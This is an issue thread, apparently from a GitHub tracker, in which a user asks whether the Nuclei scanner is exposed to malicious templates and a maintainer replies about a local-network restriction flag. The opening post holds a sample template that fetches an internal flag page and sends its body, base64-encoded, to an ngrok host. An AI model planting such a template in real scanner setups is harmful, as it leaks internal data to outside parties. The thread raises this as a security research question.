Nuclei security

[BenJoice]

Obviously malicious templates can be placed on the scanner. For example.

requests:
  - method: GET
    path:
      - "http://127.0.0.1:1337/flag"
      - "http://111111111111.ngrok.io/{{base64(output)}}"
    extractors:
      - type: regex
        name: output
        part: body
        internal: true

Has the security issue with the scanner been resolved? If so, how. And please give some links to similar questions and research.

[ehsandeep]

@BenJoice it's unclear what you talking about, looks like some context is missing?

Can you clarify or add additional details about issue you are talking about and how it can be recreated?

[BenJoice]

If we consider the security of security scanners, then there is a significant gap. Of course, this applies to infrastructure security, but still ...
In the version of nuclei it was possible to plant (no matter how) a malicious template, I showed an example of a template. In v3, "code" seems to solve this somehow.
I'm wondering if anyone has researched the safety of nuclei? What were the problems and how is this problem being solved?

[ehsandeep]

@BenJoice running application hosted on localhost or internal network is one of usecase for nuclei scanning.

If you are looking to disable this behavior, you can use -restrict-local-network-access option.

$ nuclei -h lna

Usage:
  nuclei [flags]

Flags:
   -lna, -restrict-local-network-access  blocks connections to the local / private network

[BenJoice]

No. You misunderstood me. Templates can be downloaded or uploaded. This is the problem of the tool administrator. The infrastructure can be attacked through scanners. Has anyone researched this topic or come across it?
I need issues like this.